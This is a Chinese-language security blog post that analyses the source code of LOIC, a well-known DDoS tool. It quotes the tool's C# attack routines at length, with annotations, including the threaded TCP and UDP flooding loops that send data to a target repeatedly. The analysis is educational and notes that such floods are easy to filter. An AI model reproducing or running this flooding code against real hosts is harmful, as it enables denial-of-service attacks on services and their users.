轻松的方式解读“臭名昭著”的DDoS工具LOIC(低轨道离子加农炮)源码

本文原创作者:VillanCh

声明:Loic开源,仅作学习交流用,用作任何非法攻击事件与本站和本作者无关。

Loic介绍:

Loic(低轨道离子加农炮)是一个叫4Chan-affiliated的团体开发的,这个工具被成千上万的匿名使用者使用,在网络环境中,造成了很多混乱,使用DDos来对一个网站进行压力测试。

就我自己而言,我是不喜欢这个工具的,但是很多人对这个工具属于一种崇拜。我一直以为loic这个工具是直接在链路层进行Flood,有非常高的效率或者怎么样的技术水平,但由于当时自己一直没有去寻找Loic的源码,没有去了解Loic到底是怎么一种"神奇"的工具。但是后来知道这玩意C#写的,之前没看过C#的项目,随意搜了一下百度什么的,我很好奇为什么大家对这个东西的源码闭口不提,也许是因为太无聊?也许是因为大家不屑于提这个所谓的加农炮?不管是好是坏这种无聊的事情,就给我这种无聊的人来做吧。

攻击原理

来自wiki的解释

这里关于DoS与DDoS有很详细的解释,有兴趣的读者可以去详细看一下,个人觉得wiki还是很客观地在解释这个问题,但是鉴于wiki中有一些网络术语,如果大家阅读有困难的话,我可以很通俗地来解释一下DoS(DDoS)拒绝服务攻击:

我们浏览一个网站,就要像这个网站发送数据包(合理请求),因为请求完全合理,那么也就意味着,网站将会正常处理我们的请求,这样就是说每一个请求都会消耗一些资源,那么在这样一种情景:比如大学抢课经常出现几千人同时在同一时间上网导致服务器"瘫痪"的事件,那么如果大家能理解到这里的话,我们简单来解释DoS就会变得很容易了,Dos就是你不停的发送某一个请求去占用服务器系统资源,就好比你充当了很多人同时访问一个网站一样,如果网站服务器无法承受这种压力的话自然会崩溃,对不对?

DoS:拒绝服务攻击  DDos:分布式拒绝服务攻击

虽然只是三个字(一个字母)的差别,这两个攻击的威力差别很大,Dos大多数只不过指的是一台主机(攻击机)对目标进行攻击(发送过量的数据包请求来占用服务器资源),而DDoS是一群计算机(被控制者控制的僵尸网络)对目标发起攻击,强度是Dos的很多倍(有幸曾经见过一秒几十G的流量的DDos攻击,僵尸网络包含了多台高性能服务器)。现在截止15年11月aliyun声称他们的服务器已经可以抵御每秒上百G的DDos流量攻击。

Loic初探

Github上down下zip项目源码,打开

没错就这么简单,没什么神奇的,初步看了一下,没错就是C#写的,其实这些真的没什么神奇的,下图是VS2013的界面,打开以后就是这个样子而已,如果你自己开发工具的话,我觉得也不过这样子,其实就是一个很普通的项目罢了,项目截图在下面,大家可以随意感受一下:

轻松的方式解读“臭名昭著”的DDoS工具LOIC(低轨道离子加农炮)源码

至于为什么我打开这个界面?相信大家有过MFC或者C#编程基础的同学都知道这样来分模块看代码不容易乱(这是什么理论),那我们就继续?OK

我们现在应该做什么?还是先点一下启动吧,看看这个神秘的东西到底是怎么样的状况:

轻松的方式解读“臭名昭著”的DDoS工具LOIC(低轨道离子加农炮)源码

看起来非常容易使用,实际上,建议大家在虚拟环境做一下小实验,我们并不是要对这个工具讲解用法,这样没任何意义。我们是来分析Loic源码的,那么我们现在就开工吧!

关于这个项目的源码分析说明:

在开始分析以前,默认大家是有一定的软件开发基础的,但是笔者还是会很努力用一种简单的方式来讲述,以至于不懂得C#但是懂得其他的OOP语言的读者也能懂得项目函数的意义。

首先要做的是在双击开始攻击按钮,

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然后转到

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选中右键attack,

点击查看定义或者转到定义

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然后我们就看到了发动攻击模块的源代码了

然后我直接复制过来方便在注释中讲解一下攻击逻辑

/*        我们直接转到了Attack函数,这样可以直接了解它的攻击逻辑模块        想必是极好的        首先Attack函数有三个参数        参数一:toggle是开关的意思,toggle为true且攻击按钮的文本是IMMA CHARGIN MAH LAZER时发动攻击。        参数二:on也是开关,这个开关当toggle为false且on为true的时候发动攻击。        参数三:设置静默攻击,(如果不是静默攻击的话,会提示出很多的恼人的Messagebox        再来看一下引用情况:        LOIC/frmMain.cs            408:Attack(false,false,true);            504:Attack(false,true,true);            574:Attack(true,false,false);   */           private void Attack(bool toggle, bool on, bool silent)           {   /*   这个if表明开始攻击的条件   确认cmdAttack.Text的内容并且同时toggle为true时,开始执行if内语句   或者   toggle为false且on为true时开始执行if内语句   */               if((cmdAttack.Text   == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle ==   false && on == true))               {                   try                   {   /*   关于下面这两个try部分的内容,其实很好理解,就是设置端口和线程数,如果没有设置成功就会throw一个异常   */                       try { iPort = Convert.ToInt32(txtPort.Text); }                       catch { throw new Exception("I don&#039;t think ports are supposed to be written like THAT."); }                       try { iThreads = Convert.ToInt32(txtThreads.Text); }                       catch { throw new Exception("What on earth made you put THAT in the threads field?"); }   /*   锁定IP,如果IP没填或者不对的话,抛出一个异常   */                       sIP = txtTarget.Text;                       if(String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))                           throw new Exception("Select a target.");   /*   这里是对sHost进行处理,sHost是目标主机名称,填了域名就是域名,没有填域名就是IP地址   */                       if( String.IsNullOrEmpty(sHost) ) sHost = sIP;                       if( !sHost.Contains("://") ) sHost = String.Concat("http://", sHost);                       sHost = new Uri(sHost).Host;   /*   * 关于攻击方式的选择   * 这里提供了三个可选方式   * 1代表TCP   * 2代表UDP   * 3代表HTTP   */                       iProtocol = 0;                       sMethod = cbMethod.Text;                       if(String.Equals(sMethod, "TCP")) iProtocol = 1;                       if(String.Equals(sMethod, "UDP")) iProtocol = 2;                       if(String.Equals(sMethod, "HTTP")) iProtocol = 3;                       if(iProtocol == 0)                           throw new Exception("Select a proper attack method.");   /*   这里显然是设置发送的数据包中的数据的   * 我猜你不会把自己的名字写进去的,对吧?   */                       sData = txtData.Text.Replace("//r", "/r").Replace("//n", "/n");                       if(String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2))                           throw new Exception("Gonna spam with no contents? You&#039;re a wise fellow, aren&#039;t ya? o.O");   /*   * 这里是针对http subsite设置的一个text   */                       sSubsite = txtSubsite.Text;                       if(!sSubsite.StartsWith("/") && (iProtocol == 3))                           throw new Exception("You have to enter a subsite (for example /"//")");   /*   * 设置超时信息   */                       try { iTimeout = Convert.ToInt32(txtTimeout.Text); }                       catch { throw new Exception("What&#039;s up with something like that in the timeout box? =S"); }                   }   /*   * 异常处理(略)   * 有经验的朋友我想这里不是问题,   * 如果不懂得这里的代码是什么意思,我们可以简单理解为   * 如果发现上面try的代码抛出异常   * 捕获异常以后执行下面代码   */                   catch (Exception ex)                   {                       if(silent) return;                       new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return;                   }   /*   * 在正式的攻击开始之前先将文本设置为Stop Flooding   */                   cmdAttack.Text = "Stop flooding";   /*   * 首先,对TCP和UDP的攻击方式进行处理   */                   if(String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP"))                   {   /*   * 按照线程数建立XXPFlooder对象   * 一个线程对应一个XXPFlooder对象。   *   * xxp是一个存储攻击对象数组   */                       xxp = new XXPFlooder[iThreads];                       for (int a = 0; a < xxp.Length; a++)                       {   /*为每一个线程设计攻击参数   * sIP 目标ip地址   * iPort 目标端口号   * iProtocol 要是用的攻击协议   * iDelay 延迟   * chkWaitReply.Checked 是否判断需要受到回复(当然不检查回复的攻击速度更快)   * sData 数据包的Data   * chkAllowRandom.Checked 检查是否需要随机   *   */   xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);                           /* 启动 */   xxp[a].Start();                       }                   }   /*   * 这里代码的组织形式和上面一样,我就不再多讲了,大家很容易可以看懂   */                   if(String.Equals(sMethod, "HTTP"))                   {                       http = new HTTPFlooder[iThreads];                       for (int a = 0; a < http.Length; a++)                       {                           http[a]   = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked,   iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);                           http[a].Start();                       }                   }   /*   * 更新攻击的动态   */                   tShowStats.Start();               }   /*   * 如果toggle是true或者是on为false时,关闭攻击   */               else if(toggle == true || on == false)               {                   cmdAttack.Text = "IMMA CHARGIN MAH LAZER";                   if(xxp != null)                   {                       for (int a = 0; a < xxp.Length; a++)                       {                           xxp[a].IsFlooding = false;                       }                   }                   if(http != null)                   {                       for (int a = 0; a < http.Length; a++)                       {                           http[a].IsFlooding = false;                       }                   }                   //tShowStats.Stop();               }           }

接下来我们对照几个图片来理解一下段代码的意思

首先是

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这样我们就对整体上的攻击逻辑和参数设置有了一定的了解,但是我们还没有深入去看到底是怎么样的攻击方法会造成Dos?

寻找真正的攻击模块

显然我们需要更加深层去看一下接下来的内容,以TCP模式的攻击为例,我们继续深入看一下攻击模块

首先我们需要找到真正的攻击模块,

轻松的方式解读“臭名昭著”的DDoS工具LOIC(低轨道离子加农炮)源码

右击Start然后选择"转到定义"

/*   * 然后我们找到了Start()启动攻击开关   */          public void Start()          {   /* 设置开始攻击的标志 */              IsFlooding = true;   /*   * BackgroundWorker 是一个负责后台运行的程序   *   * 设置后台运行的对象   */              BackgroundWorker bw = new BackgroundWorker();   /* 这里设置真正后台运行的程序,下面代码表明了后台线程函数名称是bw_DoWork */              bw.DoWork += new DoWorkEventHandler(bw_DoWork);              bw.RunWorkerAsync();          }

Hummmm 到这里我们似乎是找到了攻击模块但是还不是我们想要的。显然我们需要去寻找bw_DoWork这个函数,那么我直接把函数写在下面方便大家看,同样的代码里我尽可能详细地加入了注释,我相信大家都还是可以理解的。

/* 这个bw_DoWork就是真正每一个线程后台在起作用的部分   * 换句话说,这就是每个线程真正在做的事情   */          private void bw_DoWork(object sender, DoWorkEventArgs e)          {              try              {                  byte[] buf;   /* IPEndPoint 表示通过IP和Port建立一个表示被攻击的主机的网络节点,*/                  IPEndPoint RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port);   /* 开始进入攻击循环 */   while (IsFlooding)                  {   //建立socket                      Socket socket = null;                      //如果是TCP的攻击模式的话执行if内语句。   if(Protocol == 1)                      {   //初始化Socket对象                          socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);                          //设置为不延迟   socket.NoDelay = true;   //调用socket去链接目标,其实这已经算是完成了一次攻击   //因为去连接的时候要进行很经典的三次握手   //(如果对TCPIP协议族有兴趣的读者可以自行研究)                          try { socket.Connect(RHost); }                          catch { continue; }   /*   * 设置是否阻塞,   * 关于阻塞的概念,我们简单理解为   * 如果阻塞的话,必须等待回复之后才可以进行另外的连接   * 如果设置非阻塞,无需等待回复,直接可以进行连接   */                          socket.Blocking = Resp;                          try                          {                              while (IsFlooding)                              {   //这里开始正式的攻击计数                                  FloodCount++;   //下面是一条复合语句,如果大家阅读有困难的话我可以解释一小下   //如果随机选项被设定的话,可以随机产生Data+String的数据,并且被ASCII编码,传递给buf                                  buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));                                  //发送随机无效的数据   socket.Send(buf);   //延迟+1,如果延迟过短的话很有可能造成紊乱,当然延迟大的话,攻击效果可能差一点                                  if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1);                              }                          }                          catch { }                      }   /* 同样的,下面的代码和上面的代码如出一辙,真的很简单。不是么? */                      if(Protocol == 2)                      {                          socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);                          socket.Blocking = Resp;                          try                          {                              while (IsFlooding)                              {                                  FloodCount++;                                  buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));                                  socket.SendTo(buf, SocketFlags.None, RHost);                                  if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1);                              }                          }                          catch { }                      }                  }              }              catch { }          }

那么就象我们看到的,这并没有什么特别之处,只是建立了一个socket然后不停地发送数据包罢了。对于所谓的TCP的模式攻击就仅此而已,UDP和HTTP攻击我就不再详细分析了,但是需要注意的是HTTP攻击有一点不一样,但是一点都不困难。

源码思考

思考一:

这个工具所谓的攻击不过如此,其实是非常低级的,但是为什么这样一种XX的工具会造成性当大的影响?这个问题恐怕不用多讲,每个人都有自己的答案吧。

思考二:

有经验的朋友们都会发现,这位低轨道离子加农炮构造的不过只是应用层的攻击,然而,我们知道如果你是基于应用层攻击的话,以TCP为例,你发出去的数据包记录了你的IP,也就是说,你的IP已经随着数据包发出去了,嗯,接下来,对于有一点安全意识的人来讲,一定会挂代理VPN,或者是socks,或者是Tor,那么这样安全性就真的有保证了么?我想答案一定是否定的。

思考三:

如果你是一个安全研究者,对于这种攻击,可以通过过滤IP,流量分析来很容易的挡住,如果作为测试人员,你一定已经想到了更多的攻击方式了,对不对?

*原创作者:VillanCh,本文属FreeBuf原创奖励计划文章,未经作者本人及FreeBuf许可,切勿私自转载